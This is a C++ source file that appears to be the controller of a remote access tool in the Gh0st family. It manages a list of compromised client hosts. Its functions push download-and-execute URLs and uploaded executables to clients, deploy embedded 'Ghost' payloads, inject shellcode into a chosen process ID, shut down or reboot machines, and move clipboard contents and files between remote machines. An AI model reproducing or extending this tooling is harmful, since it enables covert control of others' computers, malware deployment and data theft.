RemoveFromHostList(ctx);
|
||
ctx->Destroy();
|
||
strIP += _TR("断开连接");
|
||
ShowMessage(_TR("操作成功"), strIP + "[" + aliveInfo.c_str() + "]");
|
||
}
|
||
|
||
// 虚拟列表:重建过滤索引并更新项目计数
|
||
RebuildFilteredIndices();
|
||
m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
|
||
{
|
||
CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
|
||
m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_UPDATENOW);
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
|
||
{
|
||
if (!ShouldRemoteControl())
|
||
return;
|
||
|
||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||
|
||
// 读取壁纸文件(如果有)
|
||
std::vector<BYTE> bmpData;
|
||
if (!m_PrivateScreenWallpaper.IsEmpty()) {
|
||
CFile file;
|
||
if (file.Open(m_PrivateScreenWallpaper, CFile::modeRead | CFile::typeBinary)) {
|
||
ULONGLONG fileSize = file.GetLength();
|
||
if (fileSize > 0 && fileSize < 10 * 1024 * 1024) { // 限制10MB
|
||
bmpData.resize((size_t)fileSize);
|
||
file.Read(bmpData.data(), (UINT)fileSize);
|
||
}
|
||
file.Close();
|
||
}
|
||
}
|
||
|
||
// 构建命令: TOKEN(1) + masterId(64) + hmac(16) + [bmpSize(4) + bmpData(N)]
|
||
size_t totalSize = 1 + 64 + 16;
|
||
if (!bmpData.empty()) {
|
||
totalSize += 4 + bmpData.size();
|
||
}
|
||
|
||
std::vector<BYTE> buffer(totalSize);
|
||
buffer[0] = TOKEN_PRIVATESCREEN;
|
||
memcpy(buffer.data() + 1, masterId.c_str(), masterId.length());
|
||
memcpy(buffer.data() + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||
|
||
if (!bmpData.empty()) {
|
||
DWORD bmpSize = (DWORD)bmpData.size();
|
||
memcpy(buffer.data() + 81, &bmpSize, 4);
|
||
memcpy(buffer.data() + 85, bmpData.data(), bmpData.size());
|
||
}
|
||
|
||
SendSelectedCommand(buffer.data(), (ULONG)buffer.size());
|
||
}
|
||
|
||
void CMy2015RemoteDlg::RebuildFilteredIndices()
|
||
{
|
||
m_FilteredIndices.clear();
|
||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||
context* ctx = m_HostList[i];
|
||
if (!ctx) continue;
|
||
std::string groupName = ctx->GetGroupName();
|
||
// 匹配当前分组:空分组视为 "default"
|
||
if (groupName == m_selectedGroup ||
|
||
(groupName.empty() && m_selectedGroup == "default")) {
|
||
m_FilteredIndices.push_back(i);
|
||
}
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::LoadListData(const std::string& group)
|
||
{
|
||
m_CList_Online.SetRedraw(FALSE);
|
||
|
||
// 重建过滤索引
|
||
RebuildFilteredIndices();
|
||
|
||
// 虚拟列表:设置过滤后的项目计数
|
||
m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
|
||
|
||
m_CList_Online.SetRedraw(TRUE);
|
||
// 临时允许背景擦除,解决残留问题
|
||
{
|
||
CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
|
||
m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_UPDATENOW);
|
||
}
|
||
CString strStatusMsg;
|
||
strStatusMsg.FormatL("有%d个主机在线", (int)m_FilteredIndices.size());
|
||
strStatusMsg += CString("[Total: ") + std::to_string(m_HostList.size()).c_str() + "]";
|
||
m_StatusBar.SetPaneText(0, strStatusMsg);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
int nSel = m_GroupTab.GetCurSel();
|
||
TCHAR szText[256] = {};
|
||
TCITEM item = {0};
|
||
item.mask = TCIF_TEXT;
|
||
item.pszText = szText;
|
||
item.cchTextMax = sizeof(szText) / sizeof(TCHAR);
|
||
|
||
if (!m_GroupTab.GetItem(nSel, &item)) {
|
||
return;
|
||
}
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
m_selectedGroup = szText;
|
||
LoadListData(szText);
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
// 清空搜索缓存,避免切换 Tab 后搜索结果错乱
|
||
if (m_pSearchBar) {
|
||
m_pSearchBar->InvalidateCache();
|
||
}
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void RefreshGroupList(context* ctx, void* user)
|
||
{
|
||
CString* groupName = (CString*)user;
|
||
ctx->SetGroupName(groupName->GetString());
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnOnlineRegroup()
|
||
{
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("修改分组"), _TR("请输入分组名称:"));
|
||
dlg.SetHistoryKey("GroupName");
|
||
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()) {
|
||
return;
|
||
}
|
||
if (dlg.m_str.GetLength() >= 24) {
|
||
MessageBoxL("分组名称长度不得超过24个字符!", "提示", MB_ICONINFORMATION);
|
||
return;
|
||
}
|
||
BYTE cmd[50] = { CMD_SET_GROUP };
|
||
memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength());
|
||
SendSelectedCommand(cmd, sizeof(cmd), RefreshGroupList, &(dlg.m_str));
|
||
CAutoLock lock(m_cs);
|
||
m_selectedGroup = dlg.m_str;
|
||
if (m_GroupList.end() == m_GroupList.find(m_selectedGroup)) {
|
||
m_GroupTab.InsertItem(m_GroupTab.GetItemCount(), m_selectedGroup.c_str());
|
||
m_GroupList.insert(m_selectedGroup);
|
||
}
|
||
// 在 Tab 中直接搜索分组名(Tab 顺序和 set 顺序不一致)
|
||
int tabCount = m_GroupTab.GetItemCount();
|
||
for (int idx = 0; idx < tabCount; ++idx) {
|
||
TCITEM item = {0};
|
||
char szText[256] = {0};
|
||
item.mask = TCIF_TEXT;
|
||
item.pszText = szText;
|
||
item.cchTextMax = sizeof(szText);
|
||
if (!m_GroupTab.GetItem(idx, &item)) continue;
|
||
if (m_selectedGroup == szText) {
|
||
m_GroupTab.SetCurSel(idx);
|
||
NMHDR nmhdr;
|
||
nmhdr.hwndFrom = m_GroupTab.GetSafeHwnd();
|
||
nmhdr.idFrom = m_GroupTab.GetDlgCtrlID();
|
||
nmhdr.code = TCN_SELCHANGE;
|
||
SendMessage(WM_NOTIFY, nmhdr.idFrom, (LPARAM)&nmhdr);
|
||
// SendMessage 会触发 OnSelchangeGroupTab,其中已调用 LoadListData
|
||
return;
|
||
}
|
||
}
|
||
// 未找到匹配的 Tab(不应发生),直接加载数据
|
||
LoadListData(m_selectedGroup);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::MachineManage(MachineCommand type)
|
||
{
|
||
if (MessageBoxL("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
|
||
EnterCriticalSection(&m_cs);
|
||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||
while (Pos) {
|
||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||
context* ContextObject = GetContextByListIndex(iItem);
|
||
if (!ContextObject) continue;
|
||
BYTE token[32] = { TOKEN_MACHINE_MANAGE, type };
|
||
ContextObject->Send2Client(token, sizeof(token));
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnMachineLogout()
|
||
{
|
||
MachineManage(MACHINE_LOGOUT);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnMachineShutdown()
|
||
{
|
||
MachineManage(MACHINE_SHUTDOWN);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnMachineReboot()
|
||
{
|
||
MachineManage(MACHINE_REBOOT);
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnExecuteDownload()
|
||
{
|
||
CInputDialog dlg(this);
|
||
dlg.Init(_TR("下载执行"), _TR("远程下载地址:"));
|
||
auto ip = GetFirstMasterIP(THIS_CFG.GetStr("settings", "master", "127.0.0.1"));
|
||
dlg.m_str = BuildPayloadUrl(ip.c_str(), "example.exe");
|
||
dlg.m_sTipInfo = _TR("请将EXE放在\"Payloads\"目录或输入下载地址。");
|
||
|
||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||
return;
|
||
|
||
CString strUrl = dlg.m_str;
|
||
int nUrlLen = strUrl.GetLength();
|
||
|
||
int nPacketSize = 1 + nUrlLen + 1;
|
||
BYTE* pPacket = new BYTE[nPacketSize];
|
||
|
||
pPacket[0] = COMMAND_DOWN_EXEC;
|
||
memcpy(pPacket + 1, strUrl.GetBuffer(), nUrlLen);
|
||
pPacket[1 + nUrlLen] = '\0';
|
||
|
||
SendSelectedCommand(pPacket, nPacketSize);
|
||
|
||
delete[] pPacket;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnExecuteUpload()
|
||
{
|
||
CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
||
_T("EXE Files (*.exe)|*.exe||"), this);
|
||
|
||
if (dlg.DoModal() != IDOK)
|
||
return;
|
||
|
||
CString strFilePath = dlg.GetPathName();
|
||
CFile file;
|
||
|
||
if (!file.Open(strFilePath, CFile::modeRead | CFile::typeBinary)) {
|
||
MessageBoxL(_TR("无法读取文件!") + "\r\n" + strFilePath, "错误", MB_ICONERROR);
|
||
return;
|
||
}
|
||
|
||
DWORD dwFileSize = (DWORD)file.GetLength();
|
||
if (dwFileSize == 0 || dwFileSize > 12 * 1024 * 1024) {
|
||
MessageBoxL("文件为空或超过12MB,无法使用此功能!", "提示", MB_ICONWARNING);
|
||
file.Close();
|
||
return;
|
||
}
|
||
|
||
BYTE* pFileData = new BYTE[dwFileSize];
|
||
file.Read(pFileData, dwFileSize);
|
||
file.Close();
|
||
|
||
// 命令+大小+内容
|
||
int nPacketSize = 1 + 4 + dwFileSize;
|
||
BYTE* pPacket = new BYTE[nPacketSize];
|
||
|
||
pPacket[0] = COMMAND_UPLOAD_EXEC;
|
||
memcpy(pPacket + 1, &dwFileSize, 4);
|
||
memcpy(pPacket + 1 + 4, pFileData, dwFileSize);
|
||
|
||
SendSelectedCommand(pPacket, nPacketSize);
|
||
|
||
delete[] pFileData;
|
||
delete[] pPacket;
|
||
}
|
||
|
||
|
||
void CMy2015RemoteDlg::OnExecuteTestrun()
|
||
{
|
||
DWORD dwSize = 0;
|
||
BYTE* buffer = ReadExeFromResource(dwSize, IDR_TESTRUN_X64, CLIENT_TYPE_ONE, Startup_TestRunMsc,
|
||
"YAMA", "ServerD11", COMMAND_UPLOAD_EXEC, 4);
|
||
if (buffer && dwSize > 0) {
|
||
SendSelectedCommand(buffer, 5 + dwSize);
|
||
delete[] buffer;
|
||
} else {
|
||
MessageBoxL("资源文件读取失败!", "错误", MB_ICONERROR);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnExecuteGhost()
|
||
{
|
||
DWORD dwSize = 0;
|
||
BYTE *buffer = ReadExeFromResource(dwSize, IDR_GHOST_X64, CLIENT_TYPE_ONE, Startup_GhostMsc,
|
||
"YAMA", "ServerDll", COMMAND_UPLOAD_EXEC, 4);
|
||
if (buffer && dwSize > 0) {
|
||
SendSelectedCommand(buffer, 5 + dwSize);
|
||
delete[] buffer;
|
||
} else {
|
||
MessageBoxL("资源文件读取失败!", "错误", MB_ICONERROR);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnDestroy()
|
||
{
|
||
if (g_hKeyboardHook) {
|
||
UnhookWindowsHookEx(g_hKeyboardHook);
|
||
g_hKeyboardHook = NULL;
|
||
}
|
||
__super::OnDestroy();
|
||
}
|
||
|
||
CString GetClipboardText()
|
||
{
|
||
if (!OpenClipboard(nullptr)) return _T("");
|
||
|
||
CString strText;
|
||
|
||
// 优先获取 Unicode 格式
|
||
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
||
if (hData) {
|
||
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
||
if (pszText) {
|
||
#ifdef UNICODE
|
||
strText = pszText;
|
||
#else
|
||
// 将 Unicode 转换为多字节(使用系统默认代码页)
|
||
int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr);
|
||
if (len > 0) {
|
||
char* pBuf = strText.GetBuffer(len);
|
||
WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr);
|
||
strText.ReleaseBuffer();
|
||
}
|
||
#endif
|
||
}
|
||
GlobalUnlock(hData);
|
||
}
|
||
|
||
CloseClipboard();
|
||
return strText;
|
||
}
|
||
|
||
void SetClipboardText(const char* utf8Text)
|
||
{
|
||
if (!OpenClipboard(nullptr)) return;
|
||
EmptyClipboard();
|
||
|
||
// UTF-8 转 Unicode
|
||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0);
|
||
if (wlen > 0) {
|
||
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||
if (hGlob) {
|
||
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
|
||
if (p) {
|
||
MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
|
||
GlobalUnlock(hGlob);
|
||
SetClipboardData(CF_UNICODETEXT, hGlob);
|
||
} else {
|
||
GlobalFree(hGlob);
|
||
}
|
||
}
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
||
{
|
||
if (!::IsWindow(hWnd)) return NULL;
|
||
EnterCriticalSection(&m_cs);
|
||
auto find = m_RemoteWnds.find(hWnd);
|
||
auto ret = find == m_RemoteWnds.end() ? NULL : find->second;
|
||
LeaveCriticalSection(&m_cs);
|
||
return ret;
|
||
}
|
||
|
||
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(CDialogBase *dlg)
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
for (auto& pair : m_RemoteWnds) {
|
||
if (pair.second == dlg) {
|
||
LeaveCriticalSection(&m_cs);
|
||
return pair.second;
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
return NULL;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
m_RemoteWnds.erase(wnd);
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
|
||
{
|
||
CScreenSpyDlg* targetDlg = nullptr;
|
||
HWND hWnd = NULL;
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
for (auto& pair : m_RemoteWnds) {
|
||
CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
|
||
if (dlg && dlg->GetClientID() == clientID) {
|
||
targetDlg = dlg;
|
||
hWnd = dlg->GetSafeHwnd();
|
||
break;
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
if (targetDlg && hWnd && ::IsWindow(hWnd)) {
|
||
// Use SendMessage for synchronous close to prevent race condition
|
||
// when user reconnects quickly after disconnect
|
||
::SendMessage(hWnd, WM_CLOSE, 0, 0);
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess)
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
m_pActiveSession = sess;
|
||
LeaveCriticalSection(&m_cs);
|
||
}
|
||
|
||
CDialogBase* CMy2015RemoteDlg::GetActiveRemoteSession()
|
||
{
|
||
EnterCriticalSection(&m_cs);
|
||
auto sess = m_pActiveSession;
|
||
LeaveCriticalSection(&m_cs);
|
||
return sess;
|
||
}
|
||
|
||
LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
|
||
{
|
||
if (g_2015RemoteDlg == NULL)
|
||
return S_OK;
|
||
|
||
if (nCode == HC_ACTION) {
|
||
do {
|
||
static CDialogBase* operateWnd = nullptr;
|
||
static time_t localCtrlCTime = 0; // 本地 Ctrl+C 时间,用于区分本地/远程复制
|
||
static std::vector<std::string> fileList;
|
||
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
|
||
|
||
// 系统热键转发:只在远程桌面窗口处于控制模式时才处理
|
||
if (g_2015RemoteDlg->m_bHookWIN) {
|
||
HWND hFore = ::GetForegroundWindow();
|
||
auto screen = (CScreenSpyDlg*)g_2015RemoteDlg->GetRemoteWindow(hFore);
|
||
if (screen && screen->m_bIsCtrl) {
|
||
// 判断是否是需要转发的系统热键
|
||
bool bNeedForward = false;
|
||
if (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_LWIN || pKey->vkCode == VK_RWIN) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_TAB && (pKey->flags & LLKHF_ALTDOWN)) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_ESCAPE && (pKey->flags & LLKHF_ALTDOWN)) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_ESCAPE &&
|
||
(GetAsyncKeyState(VK_CONTROL) & 0x8000) &&
|
||
(GetAsyncKeyState(VK_SHIFT) & 0x8000)) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_ESCAPE && (GetAsyncKeyState(VK_CONTROL) & 0x8000)) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_F12 || pKey->vkCode == VK_F10) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_SNAPSHOT) {
|
||
bNeedForward = true;
|
||
}
|
||
else if (pKey->vkCode == VK_TAB &&
|
||
(GetAsyncKeyState(VK_LWIN) & 0x8000 || GetAsyncKeyState(VK_RWIN) & 0x8000)) {
|
||
bNeedForward = true;
|
||
}
|
||
if (bNeedForward) {
|
||
MSG msg = { 0 };
|
||
msg.hwnd = hFore;
|
||
msg.message = (UINT)wParam;
|
||
msg.wParam = pKey->vkCode;
|
||
msg.lParam = (pKey->scanCode << 16) | 1;
|
||
|
||
if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
|
||
msg.lParam |= (1 << 31) | (1 << 30);
|
||
}
|
||
|
||
// 扩展键标志 (bit 24)
|
||
if (pKey->flags & LLKHF_EXTENDED) {
|
||
msg.lParam |= (1 << 24);
|
||
}
|
||
|
||
msg.time = pKey->time;
|
||
msg.pt.x = 0;
|
||
msg.pt.y = 0;
|
||
screen->SendScaledMouseMessage(&msg, false);
|
||
// 返回 1 阻止本地系统处理
|
||
return 1;
|
||
}
|
||
}
|
||
}
|
||
// 只在按下时处理
|
||
if (wParam == WM_KEYDOWN) {
|
||
// 检测 Ctrl+C / Ctrl+X
|
||
static time_t remoteCtrlCTime = 0; // C2C: 远程 Ctrl+C 时间
|
||
if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
|
||
HWND hFore = ::GetForegroundWindow();
|
||
operateWnd = g_2015RemoteDlg->GetRemoteWindow(hFore);
|
||
if (!operateWnd) {
|
||
localCtrlCTime = time(nullptr);
|
||
remoteCtrlCTime = 0; // 清除远程 Ctrl+C 时间
|
||
int r=0;
|
||
fileList = GetForegroundSelectedFiles(r);
|
||
// 不再清除活动会话,用 localCtrlCTime 判断即可
|
||
} else {
|
||
remoteCtrlCTime = time(nullptr); // 记录远程 Ctrl+C 时间
|
||
localCtrlCTime = 0; // 清除本地 Ctrl+C 时间
|
||
}
|
||
}
|
||
// 检测 Ctrl+V
|
||
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V') {
|
||
HWND hFore = ::GetForegroundWindow();
|
||
CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
|
||
if (dlg && (time(nullptr) - localCtrlCTime < 60)) {
|
||
if (dlg == operateWnd)break;
|
||
auto screen = (CScreenSpyDlg*)dlg;
|
||
if (!screen->m_bIsCtrl) {
|
||
Mprintf("【Ctrl+V】 [本地 -> 远程] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||
break;
|
||
}
|
||
// [1] 本地 -> 远程
|
||
int result;
|
||
auto files = GetClipboardFiles(result);
|
||
if (files.empty()) files = fileList;
|
||
if (!files.empty()) {
|
||
// 检查客户端是否支持 V2
|
||
uint64_t clientID = screen->GetClientID();
|
||
context* mainCtx = g_2015RemoteDlg->FindHost(clientID);
|
||
|
||
if (mainCtx && SupportsFileTransferV2(mainCtx)) {
|
||
// V2 传输
|
||
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files);
|
||
Mprintf("【Ctrl+V】 [本地 -> 远程] V2 传输: %zu 个文件\n", files.size());
|
||
} else {
|
||
// V1 传输(兼容旧客户端)
|
||
auto str = BuildMultiStringPath(files);
|
||
BYTE* szBuffer = new BYTE[81 + str.size()];
|
||
szBuffer[0] = { COMMAND_GET_FOLDER };
|
||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
|
||
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||
memcpy(szBuffer + 1 + 80, str.data(), str.size());
|
||
auto md5 = CalcMD5FromBytes((BYTE*)str.data(), str.size());
|
||
g_2015RemoteDlg->m_CmdList.PutCmd(md5);
|
||
dlg->m_ContextObject->Send2Client(szBuffer, 81 + str.size());
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
Mprintf("【Ctrl+V】 [本地 -> 远程] V1 传输: %s\n", md5.c_str());
|
||
}
|
||
} else {
|
||
CString strText = GetClipboardText();
|
||
if (!strText.IsEmpty()) {
|
||
if (strText.GetLength() > 200*1024) {
|
||
Mprintf("【Ctrl+V】 从本地拷贝文本到远程失败, 文本太长: %d \n", strText.GetLength());
|
||
break;
|
||
}
|
||
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
|
||
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||
memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
|
||
if (dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1))
|
||
Sleep(100);
|
||
Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n");
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
} else {
|
||
Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
|
||
}
|
||
}
|
||
} else if (dlg && operateWnd && dlg != operateWnd && (time(nullptr) - remoteCtrlCTime < 60)) {
|
||
// [3] 远程A -> 远程B (C2C)
|
||
auto srcScreen = (CScreenSpyDlg*)operateWnd;
|
||
auto dstScreen = (CScreenSpyDlg*)dlg;
|
||
|
||
if (!srcScreen->m_bIsCtrl || !dstScreen->m_bIsCtrl) {
|
||
Mprintf("【Ctrl+V】 [C2C] 窗口不是控制状态\n");
|
||
break;
|
||
}
|
||
|
||
// 检查连接对象是否有效
|
||
if (!srcScreen->m_ContextObject || !dstScreen->m_ContextObject) {
|
||
Mprintf("【Ctrl+V】 [C2C] 连接对象无效\n");
|
||
break;
|
||
}
|
||
|
||
// 获取源和目标的客户端ID
|
||
uint64_t srcClientID = srcScreen->GetClientID();
|
||
uint64_t dstClientID = dstScreen->GetClientID();
|
||
|
||
if (srcClientID == 0 || dstClientID == 0) {
|
||
Mprintf("【Ctrl+V】 [C2C] 客户端ID无效: src=%llu, dst=%llu\n", srcClientID, dstClientID);
|
||
break;
|
||
}
|
||
|
||
// 检查双方是否支持 V2 文件传输协议
|
||
context* srcMainCtx = g_2015RemoteDlg->FindHost(srcClientID);
|
||
context* dstMainCtx = g_2015RemoteDlg->FindHost(dstClientID);
|
||
if (!srcMainCtx || !dstMainCtx) {
|
||
Mprintf("【Ctrl+V】 [C2C] 主连接无效\n");
|
||
break;
|
||
}
|
||
if (!SupportsFileTransferV2(srcMainCtx) || !SupportsFileTransferV2(dstMainCtx)) {
|
||
Mprintf("【Ctrl+V】 [C2C] 客户端版本不支持 V2 传输 (需要 >= %s)\n", FILE_TRANSFER_V2_DATE);
|
||
break;
|
||
}
|
||
|
||
// 构建 C2C 剪贴板请求
|
||
ClipboardRequestV2 req = {};
|
||
req.cmd = COMMAND_CLIPBOARD_V2;
|
||
req.srcClientID = srcClientID;
|
||
req.dstClientID = dstClientID;
|
||
req.transferID = GenerateTransferID();
|
||
|
||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||
memcpy(req.hash, masterId.c_str(), min(masterId.length(), sizeof(req.hash)));
|
||
memcpy(req.hmac, hmac.c_str(), min(hmac.length(), sizeof(req.hmac)));
|
||
|
||
// 先通知目标客户端准备接收(捕获当前目录)
|
||
// 注意:必须发送到主连接(KernelManager),不是远程桌面会话
|
||
C2CPreparePacket prepare = {};
|
||
prepare.cmd = COMMAND_C2C_PREPARE;
|
||
prepare.transferID = req.transferID;
|
||
prepare.srcClientID = srcClientID; // 源客户端,用于返回目录响应
|
||
dstMainCtx->Send2Client((BYTE*)&prepare, sizeof(prepare));
|
||
Mprintf("【Ctrl+V】 [C2C] 通知目标准备: %s, transferID=%llu, src=%llu\n",
|
||
dstScreen->m_IPAddress, req.transferID, srcClientID);
|
||
|
||
// 发送请求到源客户端,让它发送剪贴板文件到目标客户端
|
||
if (srcScreen->m_ContextObject->Send2Client((BYTE*)&req, sizeof(req))) {
|
||
Mprintf("【Ctrl+V】 [C2C] 远程 %s -> 远程 %s, transferID=%llu\n",
|
||
srcScreen->m_IPAddress, dstScreen->m_IPAddress, req.transferID);
|
||
// C2C 传输已处理,阻止按键传递到目标客户端
|
||
return 1;
|
||
} else {
|
||
Mprintf("【Ctrl+V】 [C2C] 发送请求失败\n");
|
||
}
|
||
} else if (g_2015RemoteDlg->GetActiveRemoteSession() && !dlg && remoteCtrlCTime > 0 &&
|
||
(time(nullptr) - remoteCtrlCTime < 60) && remoteCtrlCTime > localCtrlCTime) {
|
||
// 远程 -> 本地:有活动会话,当前不在远程窗口,60秒内在远程按过Ctrl+C,且比本地Ctrl+C更晚
|
||
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->GetActiveRemoteSession());
|
||
if (!screen) {
|
||
Mprintf("【Ctrl+V】 [远程 -> 本地] 远程桌面窗口状态已经失效\n");
|
||
break;
|
||
}
|
||
if (!screen->m_bIsCtrl) {
|
||
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
|
||
break;
|
||
}
|
||
// [2] 远程 -> 本地
|
||
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
|
||
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
|
||
memcpy((char*)bToken + 1, masterId.c_str(), masterId.length());
|
||
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
|
||
if (::OpenClipboard(nullptr)) {
|
||
EmptyClipboard();
|
||
CloseClipboard();
|
||
}
|
||
if (screen->m_ContextObject->Send2Client(bToken, sizeof(bToken)))
|
||
Sleep(200);
|
||
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
|
||
} else {
|
||
Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
|
||
}
|
||
}
|
||
}
|
||
} while (0);
|
||
}
|
||
|
||
// 允许消息继续传递
|
||
return CallNextHookEx(g_2015RemoteDlg->g_hKeyboardHook, nCode, wParam, lParam);
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CDialogBase* pSession = reinterpret_cast<CDialogBase*>(wParam);
|
||
UpdateActiveRemoteSession(pSession);
|
||
return 0;
|
||
}
|
||
|
||
|
||
|
||
void CMy2015RemoteDlg::OnToolReloadPlugins()
|
||
{
|
||
if (IDYES!=MessageBoxL(_L("请将64位的DLL放于主控程序的 'Plugins' 目录,是否继续?")+
|
||
_L("\n执行未经测试的代码可能造成程序崩溃。"), "提示", MB_ICONINFORMATION | MB_YESNO))
|
||
return;
|
||
char path[_MAX_PATH];
|
||
GetModuleFileNameA(NULL, path, _MAX_PATH);
|
||
GET_FILEPATH(path, "Plugins");
|
||
m_DllList = ReadAllDllFilesWindows(path);
|
||
}
|
||
|
||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||
{
|
||
CString clientIP(ip.c_str());
|
||
EnterCriticalSection(&m_cs);
|
||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||
context* ContextObject = *i;
|
||
if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) {
|
||
LeaveCriticalSection(&m_cs);
|
||
return ContextObject;
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
return NULL;
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
std::string* ip = (std::string*)wParam;
|
||
int pid = lParam;
|
||
InjectTinyRunDll(*ip, pid);
|
||
delete ip;
|
||
return S_OK;
|
||
}
